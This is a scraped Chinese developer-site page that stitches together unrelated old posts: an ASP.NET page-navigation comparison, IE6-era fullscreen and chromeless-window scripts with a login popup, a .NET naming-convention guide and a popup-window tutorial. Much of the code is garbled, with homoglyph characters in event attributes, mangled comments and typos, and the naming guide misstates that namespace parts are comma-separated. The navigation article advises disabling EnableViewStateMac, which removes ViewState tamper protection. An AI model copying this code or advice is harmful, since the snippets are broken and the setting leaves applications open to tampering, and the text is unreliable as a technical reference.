webform 后台下拉框默认选中_webform 下拉框 - CSDN
精华内容
参与话题
  • 论坛精华

    万次阅读 2008-01-01 17:11:00
    [转]ASP.NET四种页面导航方式之比较与选择 在ASP.NET应用中,Web表单之间的导航有多种方式:用超级链接,用Response.Redirect,用Server.Transfer,或者用Server.Execute。本文将分析这四种导航方式的异同及其优缺点...

    [转]ASP.NET四种页面导航方式之比较与选择
    在ASP.NET应用中,Web表单之间的导航有多种方式:用超级链接,用Response.Redirect,用Server.Transfer,或者用Server.Execute。本文将分析这四种导航方式的异同及其优缺点,帮助你选择最佳的导航方式。  

    一、超级链接  

      从一个表单进入另一个表单最简单的方式是使用HTML超级链接控件。在Web表单中,使用超级链接的HTML代码类如:  

    <a href="WebForm2.aspx">进入表单2</a> 
     

      当用户点击该超级链接,WebForm2.aspx执行并将结果发送到浏览器。超级链接导航方式几乎可用于任何地方,包括HTML页面和普通的ASP页面。ASP.NET还提供了另一种可替换使用的方法,即HyperLink服务器控件:  

    <form id="Form1" method="post" runat="server"> 
        <asp:HyperLink id="HyperLink1" runat="server" 
        NavigateUrl="WebForm2.aspx">进入表单2</asp:HyperLink> 
    </form> 
     


      上述HTML代码的运行结果和第一个例子相同,因为ASP.NET把HyperLink Web服务器控件视为一个HTML超级链接控件。但两者有一点重要的区别,HyperLink Web服务器控件可以在服务器端编程。具体地说,可以在程序代码中改变它的NavigateUrl属性,从而允许构造出具体目标可根据应用的当前状态动态变化的超级链接,例如:  

    Private Sub Button1_Click( _  
     ByVal sender As System.Object, _ 
     ByVal e As System.EventArgs) _ 
     Handles Button1.Click  
        HyperLink1.NavigateUrl = "WebForm3.aspx"  
    End Sub 
     

      这段代码执行后,如果用户点击链接,他看到的将是WebForm3.aspx,而不是WebForm2.aspx。  

    二、用程序控制重定向  

      虽然超级链接能够从一个页面导航到另一个页面,但这种导航方式是完全由用户控制的。有些时候,我们可能要用代码来控制整个导航过程,包括何时转到另一个页面。在这些场合,ASP.NET有三种不同的方式可以达到相似的目的:调用Response对象的Redirect方法,调用Server对象的Transfer或Execute方法。这三种导航方式的行为基本相似,但也有区别。  

      2.1 Response.Redirect  

      Response.Redirect方法导致浏览器链接到一个指定的URL。当Response.Redirect()方法被调用时,它会创建一个应答,应答头中指出了状态代码302(表示目标已经改变)以及新的目标URL。浏览器从服务器收到该应答,利用应答头中的信息发出一个对新URL的请求。  

      这就是说,使用Response.Redirect方法时重定向操作发生在客户端,总共涉及到两次与服务器的通信(两个来回):第一次是对原始页面的请求,得到一个302应答,第二次是请求302应答中声明的新页面,得到重定向之后的页面。  

      2.2 Server.Transfer  

      Server.Transfer方法把执行流程从当前的ASPX文件转到同一服务器上的另一个ASPX页面。调用Server.Transfer时,当前的ASPX页面终止执行,执行流程转入另一个ASPX页面,但新的ASPX页面仍使用前一ASPX页面创建的应答流。  

      如果用Server.Transfer方法实现页面之间的导航,浏览器中的URL不会改变,因为重定向完全在服务器端进行,浏览器根本不知道服务器已经执行了一次页面变换。  

      默认情况下,Server.Transfer方法不会把表单数据或查询字符串从一个页面传递到另一个页面,但只要把该方法的第二个参数设置成True,就可以保留第一个页面的表单数据和查询字符串。  

      同时,使用Server.Transfer时应注意一点:目标页面将使用原始页面创建的应答流,这导致ASP.NET的机器验证检查(Machine Authentication Check,MAC)认为新页面的ViewState已被篡改。因此,如果要保留原始页面的表单数据和查询字符串集合,必须把目标页面Page指令的EnableViewStateMac属性设置成False。  

      2.3 Server.Execute  

      Server.Execute方法允许当前的ASPX页面执行一个同一Web服务器上的指定ASPX页面,当指定的ASPX页面执行完毕,控制流程重新返回原页面发出Server.Execute调用的位置。  

      这种页面导航方式类似于针对ASPX页面的一次函数调用,被调用的页面能够访问发出调用页面的表单数据和查询字符串集合,所以要把被调用页面Page指令的EnableViewStateMac属性设置成False。  

      默认情况下,被调用页面的输出追加到当前应答流。但是,Server.Execute方法有一个重载的方法,允许通过一个TextWriter对象(或者它的子对象,例如StringWriter对象)获取被调用页面的输出,而不是直接追加到输出流,这样,在原始页面中可以方便地调整被调用页面输出结果的位置。  

      为说明其工作过程,下面我们创建一个Web表单,放入一个按钮控件(Button1)和一个文本控件(Literal1),在设计界面中转入代码视图,加入一个System.IO名称空间的Imports语句,然后加入用户点击按钮时执行的代码:  

    Private Sub Button1_Click( _ 
     ByVal sender As System.Object, _ 
     ByVal e As System.EventArgs) _ 
     Handles Button1.Click 
        Dim sw As StringWriter = New StringWriter() 
        Server.Execute("WebForm2.aspx", sw) 
        Literal1.Text = sw.ToString() 
    End Sub 
     

      然后为同一个Web应用创建第二个页面WebForm2.aspx。转入该页面的HTML视图,修改其Page指令禁止ViewState检查:  

    <%@ Page Language="vb" AutoEventWireup="false" Codebehind="WebForm2.aspx.vb" 
      Inherits="Navigate.WebForm2" EnableViewStateMac="false"%> 
     

      再转到设计视图,为第二个页面增加一些控件。接下来,把第一个页面设置成默认页面,启动应用。点击按钮,WebForm2的控件将显示在WebForm1中放置Literal按钮的地方,如图一,注意页面标题和URL仍旧显示原始页面WebForm1。  

      

      图一:用Server.Execute合并两个源文件的页面  

      用Server.Transfer或Server.Execute方法实现导航时,还要注意一点:最后得到的页面可能不是合法的HTML页面,因为最终返回给客户端的页面可能包含多个<HTML>和<BODY>等标记。IE浏览器看来能够容忍并正确处理这类情形,但如果用户要用到其他的浏览器,最好仔细测试一下。  

    <b>三、比较与选择</b>  

      既然从一个页面导航到另一个页面的办法有这么多,应该如何选择最佳的导航方式呢?下面是一些需要考虑的因素:  

      <b>·</b>如果要让用户来决定何时转换页面以及转到哪一个页面,超级链接最适合。  

      <b>·</b>如果要用程序来控制转换的目标,但转换的时机由用户决定,使用Web服务器的HyperLink控件,动态设置其NavigateUrl属性。  

      <b>·</b>如果要把用户连接到另一台服务器上的资源,使用Response.Redirect。  

      <b>·</b>用Response.Redirect把用户连接到非ASPX的资源,例如HTML页面。  

      <b>·</b>如果要将查询字符串作为URL的一部分保留,使用Response.Redirect。  

      <b>·</b>如果要将执行流程转入同一Web服务器的另一个ASPX页面,应当使用Server.Transfer而不是Response.Redirect,因为Server.Transfer能够避免不必要的网络通信,从而获得更好的性能和浏览效果。  

      <b>·</b>如果要捕获一个ASPX页面的输出结果,然后将结果插入另一个ASPX页面的特定位置,则使用Server.Execute。  

      <b>·</b>如果要确保HTML输出合法,请使用Response.Redirect,不要使用Server.Transfer或Server.Execute方法。  

      本文译自:http://www.ondotnet.com/pub/a/dotnet/2003/04/07/aspnetnav.html  

      原文题目:《Managing ASP.NET Navigation》。  

    真正的全屏页面解决之道!(全代码)
    真正全屏解决之道:
    1.htm
    <html>
    <head>
    <title>无标题文档</title>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    </head>

    <body οnlοad="window.open('fullscreen.htm','','fullscreen=1,scroll=no');">
    </body>
    </html>


    fullscreen.htm
    <html>
    <head>
    <title>无标题文档</title>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <script language="JavaScript1.2"> 
    <!-- 
    function opensmallwin(myurl){ 
    var w2=300;//想弹出窗口的宽度 
    var h2=100;//想弹出窗口的高度 
    var w3=window.screen.width/2-w2/2; 
    var h3=window.screen.height/2-h2/2; 
    window.open(myurl,'small','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=0,width='+ w2 +',height='+ h2 +',left='+ w3 +',top='+ h3 +''); 

    //--> 

    <!--
    function modelesswin(url,mwidth,mheight){
      if (document.all&&window.print)
        eval('window.showModelessDialog(url,"","help:0;resizable:0;status:0;center:1;scroll:0;dialogWidth:'+mwidth+'px;dialogHeight:'+mheight+'px")') 
      else
        eval('window.open(url,"","width='+mwidth+'px,height='+mheight+'px,resizable=1,scrollbars=1")')
      }
    //-->

    </script> 
    </head>

    <body  scroll="no">
    <div align="right"><a href="javascript:" οnclick="window.close()">关闭</a> </div>
    <p></P>
    <div align="right"><a href="javascript:" οnclick="opensmallwin('login.htm')">登录</a> </div>

    <p></P>
    <div align="center"><a href="javascript:" οnclick="modelesswin('login.htm',300,160)">用模态登录窗口</a> </div>
    </body>
    </html>


    login.htm
    <html>
    <head>
    <title>用户登录</title>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">

    <style type="text/css">
    <!--
    body {
       background-color: #EAEAEA;
       font-family: Arial, Helvetica, sans-serif;
       font-size: 12px;
       line-height: 24px;
       color: #336699;
    }
    input.boxline {
       width: 100px;
       font-family: "Times New Roman", "Times", "serif";
       font-size: 9pt;
       border: 1px solid #669999;
       height: 18px;

    }

    input.whiteline {  
       font-size: 12px; border: 1px #999999 solid
    }
    -->
    </style></head>
    <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
    <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="14" bgcolor="#CCCCCC">
      <tr valign="top">
        <td width="10%" nowrap  align="right"><b>用户名:</b></td>
        <td width="90%"><input name="textfield1" type="text" size="25" class="whiteline"></td>
      </tr>
      <tr valign="top">
        <td nowrap align="right"><b>密 码:</b></td>
        <td><input name="textfield12" type="password" size="25" class="whiteline"></td>
      </tr>
      <tr valign="top">
        <td> </td>
        <td><input type="submit" name="Submit" value="登  录" class="boxline"></td>
      </tr>
    </table>
    </body>
    </html>

    下面是另一种全屏处理方法,但必须在IE 6.0 SP1以上:

    <HTML XMLNS:IE>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <IE:Download ID="include" STYLE="behavior:url(#default#download)" />
    <title>Chromeless Window</title>

    <SCRIPT LANGUAGE="JScript">
    /*--- Special Thanks For andot ---*/

    /*
     This following code are designed and writen by Windy_sk <
    seasonx@163.net>
     You can use it freely, but u must held all the copyright items!
    */

    /*--- Thanks For andot Again ---*/

    var CW_width   = 400;
    var CW_height   = 300;
    var CW_top   = 100;
    var CW_left   = 100;
    var CW_url   = "/";
    var New_CW   = window.createPopup();
    var CW_Body   = New_CW.document.body;
    var content   = "";
    var CSStext   = "margin:1px;color:black; border:2px outset;border-style:expression(οnmοuseοut=οnmοuseup=function(){this.style.borderStyle='outset'}, οnmοusedοwn=function(){if(event.button!=2)this.style.borderStyle='inset'});background-color:buttonface;width:16px;height:14px;font-size:12px;line-height:11px;cursor:Default;";

    //Build Window
    include.startDownload(CW_url, function(source){content=source});

    function insert_content(){
       var temp = "";
       CW_Body.style.overflow      = "hidden";
       CW_Body.style.backgroundColor   = "white";
       CW_Body.style.border      =  "solid black 1px";
       content = content.replace(/<a ([^>]*)>/g,"<a οnclick='parent.open(this.href);return false' $1>");
       temp += "<table width=100% height=100% cellpadding=0 cellspacing=0 border=0>";
       temp += "<tr style=';font-size:12px;background:#0099CC;height:20;cursor:default' οndblclick=/"Max.innerText=Max.innerText=='1'?'2':'1';parent.if_max=!parent.if_max;parent.show_CW();/" οnmοuseup='parent.drag_up(event)' οnmοusemοve='parent.drag_move(event)' οnmοusedοwn='parent.drag_down(event)' onselectstart='return false' οncοntextmenu='return false'>";
       temp += "<td style='color:#ffffff;padding-left:5px'>Chromeless Window For IE6 SP1</td>";
       temp += "<td style='color:#ffffff;padding-right:5px;' align=right>";
       temp += "<span id=Help  οnclick=/"alert('Chromeless Window For IE6 SP1  -  Ver 1.0//n//nCode By Windy_sk//n//nSpecial Thanks For andot')/" style=/""+CSStext+"font-family:System;padding-right:2px;/">?</span>";
       temp += "<span id=Min   οnclick='parent.New_CW.hide();parent.blur()' style=/""+CSStext+"font-family:Webdings;/" title='Minimum'>0</span>";
       temp += "<span id=Max   οnclick=/"this.innerText=this.innerText=='1'?'2':'1';parent.if_max=!parent.if_max;parent.show_CW();/" style=/""+CSStext+"font-family:Webdings;/" title='Maximum'>1</span>";
       temp += "<span id=Close οnclick='parent.opener=null;parent.close()' style=/""+CSStext+"font-family:System;padding-right:2px;/" title='Close'>x</span>";
       temp += "</td></tr><tr><td colspan=2>";
       temp += "<div id=include style='overflow:scroll;overflow-x:hidden;overflow-y:auto; HEIGHT: 100%; width:"+CW_width+"'>";
       temp += content;
       temp += "</div>";
       temp += "</td></tr></table>";
       CW_Body.innerHTML = temp;
    }

    setTimeout("insert_content()",1000);

    var if_max = true;
    function show_CW(){
       window.moveTo(10000, 10000);
       if(if_max){
          New_CW.show(CW_top, CW_left, CW_width, CW_height);
          if(typeof(New_CW.document.all.include)!="undefined"){
             New_CW.document.all.include.style.width = CW_width;
             New_CW.document.all.Max.innerText = "1";
          }
          
       }else{
          New_CW.show(0, 0, screen.width, screen.height);
          New_CW.document.all.include.style.width = screen.width;
       }
    }

    window.onfocus  = show_CW;
    window.onresize = show_CW;

    // Move Window
    var drag_x,drag_y,draging=false

    function drag_move(e){
       if (draging){
          New_CW.show(e.screenX-drag_x, e.screenY-drag_y, CW_width, CW_height);
          return false;
       }
    }

    function drag_down(e){
       if(e.button==2)return;
       if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height)return;
       drag_x=e.clientX;
       drag_y=e.clientY;
       draging=true;
       e.srcElement.setCapture();
    }

    function drag_up(e){
       draging=false;
       e.srcElement.releaseCapture();
       if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height) return;
       CW_top  = e.screenX-drag_x;
       CW_left = e.screenY-drag_y;
    }

    </SCRIPT>
    </HTML>


    Re:真正的全屏页面解决之道!(全代码)
    自动关掉原窗口:


    <html>
    <head>
    <title>无标题文档</title>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <style type="text/css">
    <!--
    body {
       margin-left: 0px;
       margin-top: 0px;
       margin-right: 0px;
       margin-bottom: 0px;
    }
    -->
    </style>
    </head>

    <body οnlοad="window.open('fullscreen.htm','','fullscreen=1,scroll=no');window.opener=null;window.close()">
    <input type=button value=关闭 οnclick="window.opener=null;window.close()"> 
    <!-- IE5.5+ 不会有弹出提示 --> 

    <OBJECT id=WebBrowser classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2 height=0 width=0></OBJECT> 
    <input type=button value=关闭窗口 οnclick=document.all.WebBrowser.ExecWB(45,1)> 
    </body>
    </html>

    关键是在onload事件中加入:
    window.opener=null;window.close()


    :真正的全屏页面解决之道!(全代码)
    fullscreen.htm中,能不能社定为一打开该页面就立即再打开登陆的小窗口?
    Re:真正的全屏页面解决之道!(全代码)
    当然可以,在onload事件中加入你要打开的窗体即可,如:

    <body οnlοad="window.showmodeldialog('login.htm','','width=300;height=200')"

    注意,这个showmodeldialog不一定对,你查一下打开模态窗口的方法。

    另一全屏代码!
    <Script Language="Javascript">
    function openIT(url,wname) {
       wname ="CHROMELESSWIN"
       W=640;
       H=480;
       
       
       var windowW = W;
       var windowH = H;
       var windowX = Math.ceil( (window.screen.width  - windowW) / 2 );
       var windowY = Math.ceil( (window.screen.height - windowH) / 2 );

       if (navigator.appName == "Microsoft Internet Explorer" && 

    parseInt(navigator.appVersion)>=4) isie=true
       else                              

            isie=false

       if (isie) { H=H+20+2; W=W+2; }

       s = ",width="+W+",height="+H;

       if (isie) {
                splashWin = window.open( "" , "", 

    "fullscreen=1,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,res

    izable=0"+s)

          splashWin.resizeTo( Math.ceil( W )       , Math.ceil( H ) )
          splashWin.moveTo  ( Math.ceil( windowX ) , Math.ceil( windowY ) )
          splashWin.location = url

       }
       else    var splashWin = window.open(url, wname, 

    "toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1"+s, 

    true)
       splashWin.focus();
       splashWin.scroll="no";
    }

    function caps() {
    oE=event.srcElement;
    if (oE.tagName=="A") {
    event.returnValue=false;
    openIT(oE.href);
    }
    return(true);
    }
    window.document.οnclick=caps;
    </script>

    <a href="http://www.163.com">网易</a>


    在 IE6 + sp1 不能用. 因为window.open fullscreen 后不能 resizeTo一个小窗口.
    .NET命名规范中文版
                                  .NET命名规范中文版
     


    词语选择

    避免使用由经常使用的名称空间复制的类型名。类型名不能使用下列词语。

    System       Collections   Forms       UI

    避免使用与常用关键词冲突的标识符。例如,避免使用下列词语。 

    AddHandler 

    AddressOf 

    Alias 

    And 

    Ansi 


    As 

    Assembly 

    Auto 

    BitAnd 

    BitNot 


    BitOr 

    BitXor 

    Boolean 

    ByRef 

    Byte 


    ByVal 

    Call 

    Case 

    Catch 

    CBool 


    CByte 

    CChar 

    CDate 

    CDec 

    CDbl 


    Char 

    CInt 

    Class 

    CLng 

    CObj 


    Const 

    CShort 

    CSng 

    CStr 

    CType 


    Date 

    Decimal 

    Declare 

    Default 

    Delegate 


    Dim 

    Do 

    Double 

    Each 

    Else 


    ElseIf 

    End 

    Enum 

    Erase 

    Error 


    Event 

    Exit 

    ExternalSource 

    False 

    Finally 


    For 

    Friend 

    Function 

    Get 

    GetType 


    Goto  

    Handles 

    If 

    Implements 

    Imports 


    In 

    Inherits 

    Integer 

    Interface 

    Is 


    Let 

    Lib 

    Like 

    Long 

    Loop 


    Me 

    Mod 

    Module 

    MustInherit 

    MustOverride 


    MyBase 

    MyClass 

    Namespace 

    New 

    Next 


    Not 

    Nothing 

    NotInheritable 

    NotOverridable 

    Object 


    On 

    Option 

    Optional 

    Or 

    Overloads 


    Overridable 

    Overrides 

    ParamArray 

    Preserve 

    Private 


    Property 

    Protected 

    Public 

    RaiseEvent 

    ReadOnly 


    ReDim 

    Region 

    REM 

    RemoveHandler 

    Resume 


    Return 

    Select 

    Set 

    Shadows 

    Shared 


    Short 

    Single 

    Static 

    Step 

    Stop 


    String 

    Structure 

    Sub 

    SyncLock 

    Then 


    Throw 

    To 

    True 

    Try 

    TypeOf 


    Unicode 

    Until 

    Variant 

    When 

    While 


    With 

    WithEvents 

    WriteOnly 

    Xor 

    eval 


    extends 

    instanceof 

    package 

    var 

     


    标识符(包括参数名)中不要使用缩写。

    如果必须使用缩写:

    任何超过两个字符以上的缩写都使用camel大写格式,即使这不是标准缩写。

    名称空间

    命名名称空间的一般规则如下:

    CompanyName.TechnologyName

    这样,我们看到的名称空间应该是这样的:

    Microsoft.Office

    PowerSoft.PowerBuilder

    注意:这只是一个原则。第三方公司可以选择其它的名字。

    避免用公司名称或其它著名品牌的名称作为名称空间的前缀,这样会造成两个公布的名称空间有同一个名称的可能性。(例如,将微软提供的Office自动类命名为Microsoft.Office。)

    使用Pascal大写方式,用逗号分隔逻辑成分(例如,Microsoft.Office.PowerPoint)。如果你的品牌使用的是非传统大写方式,那么一定要遵循你的品牌所确定使用的大写方式,即使这种方式背离了通常的名称空间大写规则(例如,NeXT.WebObjects,和ee.cummings。)

    该用复数的时候要使用复数的名称空间名。例如,使用System.Collections而不是System.Collection。本规则的特例是品牌名称和缩写。例如:使用System.IO而不是System.IOs。

    名称空间和类不能使用同样的名字。例如,有一个类被命名为Debug后,就不要再使用Debug作为一个名称空间名。

    类和类成分

    类的命名原则

    用名词或名词短语命名类。

    使用Pascal大写。

    减少类名中缩写的使用量。

    不要使用任何类前缀(比如C)。

    不要使用带下划线的字符。

    下面是一些正确命名的类名的例子。

    public class FileStream {

    }

    public class Button {

    }

    public class String {

    }

    接口命名原则

    使用名词或名词短语,或者描述行为的形容词来命名接口。例如,IComponent(描述性名词),ICustomAttributeProvider(名词短语),和IPersistable(形容词)。

    使用Pascal大写。

    减少接口名中缩写的使用量。

    不要使用带下划线的字符。

    在接口名前加前缀I,以表示这个类型是一个接口。

    不要在类名前加上前缀C。偶而情况下,需要在类名前加上I而并不表示它是一个接口。在这种情况下,只要I后面的字符是小写就可(例如,IdentityStore。)

    当类是接口的标准执行时,定义这一对类/接口组合就要使用相似的名称。两个名称的不同之处只是接口名前有一个I前缀。

    下面我们举个例子,来看看接口IComponent和它的标准执行,类Component。

    public interface IComponent {

    }

    public class Component : IComponent {

    }

    public interface IServiceProvider{

    }

    public interface IFormatable {

    }

    属性命名原则

    在属性的后面加上Attribute后缀,来自定义属性类。如下例所示。

    public class ObsoleteAttribute{

    }

    Enum命名原则

    Enum需使用Pascal大写。

    Enum值名需使用Pascal大写。

    减少enum名中缩写的使用量。

    Enum名前不要加前缀(例如,adxxx表示ADO enums,rtfxxx表示多信息文本enum,等等。)。

    在enum类型上不要加Enum后缀。

    Enum名称需使用单数名词。

    比特域使用复数名词。

    如果列举值在参数或属性中使用,需用一个enum来定义列举值。这样工具就可以知道一个属性或参数可能的值了。

    public enum FileMode{

    Create,

    CreateNew,

    Open,

    OpenOrCreate,

    Truncate

    }

    如果数字值to be bitwise or'ed together,就使用Flags对属性进行自定义。

    [Flags]

    public enum Bindings {

    CreateInstance,

    DefaultBinding,

    ExcatBinding,

    GetField,

    GetProperty,

    IgnoreCase,

    InvokeMethod,

    NonPublic,

    OABinding,

    SetField

    SetProperty,

    Static

    }

    在封装一个Win32 API时,这个规则有一个特例。从一个Win32标头产生内部定义是很常见的。你可以使用Win32大写,这种形式下字母通常全部大写。

    使用Int32作为一个enum的基础类型。

    如果这个enum代表标志,而且标志又非常多(大于32),或者这个enum在将来可以发展成许多标志,或者类型需要与类型int有所不同以便向后兼容时,在这种情况下就产生了特例。

    只有在值可以被完全表示为一组位标志时,才使用enum。开集不能使用enum(例如操作系统版,等等)。

    只读和Const字段名

    用名词,名词短语,或名词的缩写命名静态字段。

    用Pascal大写命名静态字段。

    不要用匈牙利文类型的符号作静态字段名的前缀。

    参数名

    使用描述性参数名。参数名应该具有足够的描述性,这样在大多数情况下参数名和它的种类可以用来确定它的意思。

    用camel大写方式命名参数。

    根据参数的意思来命名参数,而不是根据参数的种类来命名。我们希望开发工具可以用很方便的方式提供关于参数种类的信息,这样参数名可以得到更好的使用,可以对语义而不是对种类进行描述。但是偶尔使用根据类型命名的参数名也是完全可以的。

    不要使用保留参数。如果在下一个版本中需要更多的数据,可以增加进来。

    不要用匈牙利文类型的符号作为字段名的前缀。

    Type GetType (string typeName)

    string Format (string format, object [] args)

    方法命名原则

    用动词或动词短语命名方法。

    用下述范例所示的Pascal大写方式命名方法。

    RemoveAll()

    GetCharArray()

    Invoke()

    属性命名原则

    用名词或名词短语命名属性。

    用Pascal大写命名属性。

    属性与类型要一样。

    用与一个类型的名称相同的名字来命名属性时,就使这个属性的类型成为那个类型。虽然听起来有些奇怪,但这是正确的。下面的例子正确使用了属性命名原则。

    public enum Color {...} 

    public class Control {

    public Color Color { get {...} set {...} } 

    }

    下例就是不正确的。

    public enum Color {...}

    public class Control {

    public int Color { get {...} set {...} }

    }

    在那个不正确的例子中,要想引用Color enum是不可能的,因为Color,Xxx会被翻译成一个成员访问,它会首先获得Color属性的值(int种类),然后再访问那个值的成员(它应该是System.Int32的一个实例成员)。

    事件命名原则

    用EventHandloer后缀命名事件处理程序,如下列所示。

    public delegate void MouseEventHandler(object sender, MouseEvent e);

    使用名为sender和e的两个参数。

    Sender参数代表提出事件的对象。Sender参数永远是一个类型对象,即使它可能使用了更为特定的类型。

    与事件相关的状态被封装在一个名为e的事件类范例中。要使用这个类型的正确的、特定的事件类。

    public delegate void MouseEventHandler(object sender, MouseEvent e);

    用EventArgs后缀命名事件自变量类,如下例所示。

    public class MouseEventArgs : EventArgs {

    int x;

    int y;

    public MouseEventArgs(int x, int y)

    { this.x = x; this.y = y; }

    public int X { get { return x; } }

    public int Y { get { return y; } }

    }

    命名事件名时,需要有之前和之后的时态概念,因此要使用现在时态和过去时态(不要使用BeforeXxx/AfterXxx的方式)。例如,可以被取消的结束事件就有Closing事件和Closed事件。

    public event ControlEventHandler ControlAdded {

    //..

    }

    用动词命名事件。

    区分大小写

    不要使用需要对大小写作出区分的名称。各成分不论是在区分大小写还是不区分大小写的语言下都必须是完全可用的。因为不区分大小写的语言不能在同样的环境下对只有大小写不同的两个名称作出辩别,所以成分必须避免这种情况。

    不要产生两个名称相同只有大小写不同的名称空间。

    namespace ee.cummings;

    namespace Ee.Cummings;

    带有两个参数的一个类型,其两个参数的名称不能只有大小写不同。

    void foo(string a, string A)

    System.WinForms.Point p;

    System.WinForms.POINT pp;

    带有两个属性的一个类型,其属性的名称不能只有大小写不同。

    int Foo {get, set};

    int FOO {get, set}

    带有两种方法的一个类型,其方法的名称不能只有大小写不同。

    void foo();

    void Foo();

    避免类型名出现混淆

    不同的语言使用不同的术语以识别基本管理类型。设计人员必须避免使用对语言有专门要求的术语。遵照本章说明的规则,避免出现类型名称混淆的情况。

    使用语义上有意义的名称,而不要使用类型名称。

    在很少见的情况下,参数除了类型以外语义上没有任何意义,这时使用类属名。例如,一个类支持将多种数据类型写进一个流中,这个类可能有下列方法:

    void Write(double value);

    void Write(float value);

    void Write(long value);

    void Write(int value);

    void Write(short value);

    上面的例子在下述对语言有专门要求的情况下是首选。

    void Write(double doubleValue);

    void Write(float floatValue);

    void Write(long longValue);

    void Write(int intValue);

    void Write(short shortValue);

    在极端情况下,每一个基本数据类型需要有唯一的命名方式,此时使用下面的通用类型名称。 

    C# type name 

    Visual Basic type name 

    JScript type name 

    Visual C++ type name 

    IL representation 

    Universal type name 


    sbyte 

    SByte 

    SByte 

    char 

    I1 

    SByte 


    byte 

    Byte 

    byte 

    unsigned char 

    U1 

    Byte 


    short 

    Short 

    short 

    short 

    I2 

    Int16 


    ushort 

    UInt16 

    UInt16 

    unsigned short 

    U2 

    UInt16 


    int 

    Integer 

    int 

    int 

    I4 

    Int32 


    uint 

    NA 

    NA 

    unsigned int 

    U4 

    UInt32 


    long 

    Long 

    long 

    __int64 

    I8 

    Int64 


    ulong 

    UInt64 

    UInt64 

    Unsigned __int64 

    U8 

    UInt64 


    float 

    Single 

    float 

    float 

    R4 

    Single 


    double 

    Double 

    double 

    double 

    R8 

    Double 


    bool 

    Boolean 

    boolean 

    bool 

    I4 

    Boolean 


    char 

    Char 

    char 

    wchar_t 

    U2 

    Char 


    string 

    String 

    String 

    String 

    System.String 

    String 


    object 

    Object 

    Object 

    Object 

    System.Object 

    Object 


    一个支持从流中读取多种数据类型的类可以有下列方法。

    double ReadDouble();

    float ReadSingle();

    long ReadIn64();

    int ReadInt32();

    short ReadInt16();

    上面的例子在下述对语言有专门要求的情况下是首选。

    double ReadDouble();

    float ReadFloat();

    long ReadLong();

    int ReadInt();

    short ReadShort(); 


    玩透弹出窗口
    【1、最基本的弹出窗口代码】 

    其实代码非常简单: 

    <SCRIPT LANGUAGE="javascript"> 
    <!-- 
    window.open ('page.html') 
    --> 
    </SCRIPT> 
    因为着是一段javascripts代码,所以它们应该放在<SCRIPT LANGUAGE="javascript">标签和</script>之间。<!-- 和 -->是对一些版本低的浏览器起作用,在这些老浏览器中不会将标签中的代码作为文本显示出来。要养成这个好习惯啊。 
    window.open ('page.html') 用于控制弹出新的窗口page.html,如果page.html不与主窗口在同一路径下,前面应写明路径,绝对路径(
    http://)/和相对路径(../)均可。用单引号和双引号都可以,只是不要混用。 
    这一段代码可以加入HTML的任意位置,<head>和</head>之间可以,<body>间</body>也可以,越前越早执行,尤其是页面代码长,又想使页面早点弹出就尽量往前放。 


    【2、经过设置后的弹出窗口】 

    下面再说一说弹出窗口的设置。只要再往上面的代码中加一点东西就可以了。 
    我们来定制这个弹出的窗口的外观,尺寸大小,弹出的位置以适应该页面的具体情况。 
    <SCRIPT LANGUAGE="javascript"> 
    <!-- 
    window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no') 
    file://写/成一行 
    --> 
    </SCRIPT> 
    参数解释: 
    <SCRIPT LANGUAGE="javascript"> js脚本开始; 
    window.open 弹出新窗口的命令; 
    'page.html' 弹出窗口的文件名; 
    'newwindow' 弹出窗口的名字(不是文件名),非必须,可用空''代替; 
    height=100 窗口高度; 
    width=400 窗口宽度; 
    top=0 窗口距离屏幕上方的象素值; 
    left=0 窗口距离屏幕左侧的象素值; 
    toolbar=no 是否显示工具栏,yes为显示; 
    menubar,scrollbars 表示菜单栏和滚动栏。 
    resizable=no 是否允许改变窗口大小,yes为允许; 
    location=no 是否显示地址栏,yes为允许; 
    status=no 是否显示状态栏内的信息(通常是文件已经打开),yes为允许; 
    </SCRIPT> js脚本结束 


    【3、用函数控制弹出窗口】 

    下面是一个完整的代码。 
    <html> 
    <head> 
    <script LANGUAGE="JavaScript"> 
    <!-- 
    function openwin() { window.open ("page.html", "newwindow", "height=100, width=400, toolbar= 
    no, menubar=no, scrollbars=no, resizable=no, location=no, status=no") 
    file://写/成一行 

    file://--/
    </script> 
    </head> 
    <body οnlοad="openwin()"> 
    ...任意的页面内容... 
    </body> 
    </html> 
    这里定义了一个函数openwin(),函数内容就是打开一个窗口。在调用它之前没有任何用途。 
    怎么调用呢? 
    方法一:<body οnlοad="openwin()"> 浏览器读页面时弹出窗口; 
    方法二:<body οnunlοad="openwin()"> 浏览器离开页面时弹出窗口; 
    方法三:用一个连接调用: 
    <a href="#" οnclick="openwin()">打开一个窗口</a> 
    注意:使用的“#”是虚连接。 
    方法四:用一个按钮调用: 
    <input type="button" οnclick="openwin()" value="打开窗口"> 

    【4、同时弹出2个窗口】 

    对源代码稍微改动一下: 
    <script LANGUAGE="JavaScript"> 
    <!-- 
    function openwin() 
    { window.open ("page.html", "newwindow", "height=100, width=100, top=0,left=0,toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no") 
    file://写/成一行 
    window.open ("page2.html", "newwindow2", "height=100, width=100, top=100, left=100,toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no") 
    file://写/成一行 

    file://--/
    </script> 
    为避免弹出的2个窗口覆盖,用top和left控制一下弹出的位置不要相互覆盖即可。最后用上面说过的四种方法调用即可。 

    注意:2个窗口的name(newwindows和newwindow2)不要相同,或者干脆全部为空。OK? 

    【5、主窗口打开文件1.htm,同时弹出小窗口page.html】 

    如下代码加入主窗口<head>区: 
    <script language="javascript"> 
    <!-- 
    function openwin() 
    {window.open("page.html","","width=200,height=200") 

